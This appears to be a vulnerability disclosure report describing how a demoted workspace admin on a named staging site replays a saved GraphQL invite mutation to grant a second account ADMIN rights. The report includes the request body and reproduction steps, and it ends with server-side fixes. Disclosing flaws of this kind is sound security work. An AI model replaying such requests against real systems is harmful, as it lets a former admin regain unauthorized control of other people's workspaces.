Privilege Escalation via Replay of Saved Admin Request

Domain:

https://app.staging.makeswift.com/

Summary:

An attacker with previous **ADMIN** privileges on a Workspace in makeswift.com can **retain the ability to perform privileged actions** (like inviting new Admins), even **after their privileges have been revoked**.

By capturing and replaying a valid InviteUsersCreateWorkspaceInvites GraphQL mutation request while they were still an Admin, the user can:

- **Invite arbitrary users** to the workspace with the **ADMIN** role.
- **Create a backdoor for themselves** via a second account.
- **Regain administrative access** to the workspace.

This is possible due to **lack of proper server-side authorization** checks during the invite mutation.

Vulnerability Type:

- **Broken Access Control (Privilege Escalation)**
- **IDOR in Role Management via Replay Attack**
- **Insecure Direct Object Reference (IDOR) on GraphQL Mutation**

Steps to Reproduce:

1. While the attacker has Admin privileges on a workspace, they capture the following GraphQL request using Burp Suite:

```
mutation InviteUsersCreateWorkspaceInvites {
 createWorkspaceInvites(input: {
  data: [{
   email: "attacker2@example.com",
   role: "ADMIN",
   workspaceId: "V29ya3NwYWNlOj**********************************NA==",
   createdById: "VXNlcjpnb29nb**********************************Nw=="
  }]
 }) {
  workspaceInvites {
   id
   email
   role
   redeemed
  }
 }
}
```

2. The workspace owner later removes Admin privileges from the attacker (i.e., the current token is now for a downgraded user).
3. The attacker **replays the saved request** with the same authorization token or a valid token of the same user.
4. The invite still succeeds, and the new user receives an **ADMIN** role.

Proof of Concept (PoC):

- The following POST request was used after privilege downgrade:

```
POST /graphql HTTP/2
```

Host: api.staging.makeswift.com

Authorization: Bearer [Still-valid-token]

Content-Type: application/json

...

```
{
  "operationName": "InviteUsersCreateWorkspaceInvites",
  "variables": {
    "input": {
      "data": [{
        "email": "attacker2@example.com",
        "role": "ADMIN",
        "workspaceId": "V29ya3NwYWNlOj**********NA==",
        "createdById": "VXNlcjpnb29nb**********Nw=="
      }]
    }
  },
  ...
}
```

- The response confirmed a successful Admin invite.
- A second account joined and granted full control, allowing the attacker to **revert any changes, restore old roles, or manipulate the workspace again.**

🎥 **PoC Video:** [Organize digital files]

Impact:

- **Critical escalation**: attacker can bypass role changes.
- **Persistence mechanism**: attacker can backdoor themselves into the system.
- **Complete compromise of workspace access control model**.
- **Violates least privilege and role enforcement logic.**

Suggested Fixes:

1. On the server-side, verify the **actual role of the current user** at the time of each request — **not just trust the content of the request.**
2. Disallow privilege-changing mutations (e.g., inviting users as ADMIN) unless the **currently authenticated user has the necessary role**.
3. Consider implementing request expiry or nonce usage to invalidate replayed requests.
4. Log and alert for suspicious privilege-granting behavior, especially after role changes.